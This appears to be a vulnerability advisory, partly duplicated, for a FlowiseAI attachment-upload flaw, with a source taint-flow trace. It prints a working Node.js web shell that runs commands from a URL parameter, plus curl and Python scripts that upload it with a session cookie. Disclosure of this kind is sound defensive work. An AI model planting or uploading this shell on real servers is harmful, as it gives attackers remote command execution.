Summary
A file upload vulnerability in FlowiseAI allows authenticated users to upload arbitrary files without proper validation. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE).
Details
The system fails to validate file extensions, MIME types, or file content during uploads. As a result, malicious scripts such as Node.js-based web shells can be uploaded and stored persistently on the server. These shells expose HTTP endpoints capable of executing arbitrary commands if triggered.
The uploaded shell does not automatically execute, but its presence allows future exploitation via administrator error or chained vulnerabilities.
Taint Flow
PoC
shell.js (Node.js Web Shell)
const { exec } = require('child_process');
const http = require('http');
const server = http.createServer((req, res) => {
const url = new URL(req.url, 'http://localhost');
const cmd = url.searchParams.get('cmd');
if (cmd) {
console.log(`Executing: ${cmd}`);
exec(cmd, (error, stdout, stderr) => {
res.writeHead(200, {'Content-Type': 'text/plain'});
if (error) {
res.end(`Error: ${error.message}\n${stderr || ''}`);
} else {
res.end(stdout || 'Command executed successfully');
}
});
} else {
res.writeHead(200, {'Content-Type': 'text/html'});
res.end(`
<h1>Node.js Web Shell</h1>
<p>Use ?cmd=command to execute</p>
<p>Example: ?cmd=id</p>
`);
}
});
const PORT = 8888;
server.listen(PORT, '0.0.0.0', () => {
console.log(`Shell running on port ${PORT}`);
console.log(`Access: http://localhost:${PORT}?cmd=id`);
});curl Upload
curl -X POST "http://localhost:3000/api/v1/attachments/0237eefc-18c5-46b2-8b3c-97aa516133fc/$(uuidgen)" \
-H "Cookie: jwt=ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0" \
-F "[email protected];type=application/javascript"
Python Upload Script
import requests
import uuid
TARGET_URL = "http://localhost:3000"
CHATFLOW_ID = "0237eefc-18c5-46b2-8b3c-97aa516133fc"
TOKEN = "ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0"
CHAT_ID = str(uuid.uuid4())
def upload_shell():
url = f"{TARGET_URL}/api/v1/attachments/{CHATFLOW_ID}/{CHAT_ID}"
headers = {'Cookie': f'jwt={TOKEN}'}
files = {'files': ('shell.js', open('shell.js', 'rb'), 'application/javascript')}
r = requests.post(url, headers=headers, files=files)
if r.status_code == 200:
print("[✓] Upload success")
print(r.text)
else:
print(f"[✗] Upload failed ({r.status_code})")
print(r.text)
if __name__ == "__main__":
upload_shell()
Impact
An attacker can persistently upload and store malicious web shells on the server. If executed, this leads to Remote Code Execution (RCE). The risk increases if administrators unknowingly trigger the shell or if other vulnerabilities are chained to execute the file. This presents a high-severity threat to system integrity and confidentiality.
References
im-soohyun Reporter
Summary
A file upload vulnerability in FlowiseAI allows authenticated users to upload arbitrary files without proper validation. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE).
Details
The system fails to validate file extensions, MIME types, or file content during uploads. As a result, malicious scripts such as Node.js-based web shells can be uploaded and stored persistently on the server. These shells expose HTTP endpoints capable of executing arbitrary commands if triggered.
The uploaded shell does not automatically execute, but its presence allows future exploitation via administrator error or chained vulnerabilities.
Taint Flow
Taint 01: Route Registration
POSTfile requests are routed to the controller via Multerhttps://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/routes/attachments/index.ts#L8
Taint 02: Multer Settings
Uploaded files are stored temporarily before further handling
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/index.ts#L1950-L1954
Taint 03: Controller
Receives the file from Multer and delegates to the service
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/controllers/attachments/index.ts#L4-L11
Taint 04: Service Layer
Processes the file and sends results back to controller
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/services/attachments/index.ts#L7-L16
Taint 05: createFileAttachment
Extracts metadata, moves file to permanent storage
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/createAttachment.ts#L118-L126
Taint 06: File Save Path
Creates storage directory and saves file
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L170-L175
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L533-L541
Taint 07: File Filtering
Filters dangerous characters in file names but does not reject malicious content
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L1104-L1111
PoC
shell.js (Node.js Web Shell)
curl Upload
Python Upload Script
Impact
An attacker can persistently upload and store malicious web shells on the server. If executed, this leads to Remote Code Execution (RCE). The risk increases if administrators unknowingly trigger the shell or if other vulnerabilities are chained to execute the file. This presents a high-severity threat to system integrity and confidentiality.
References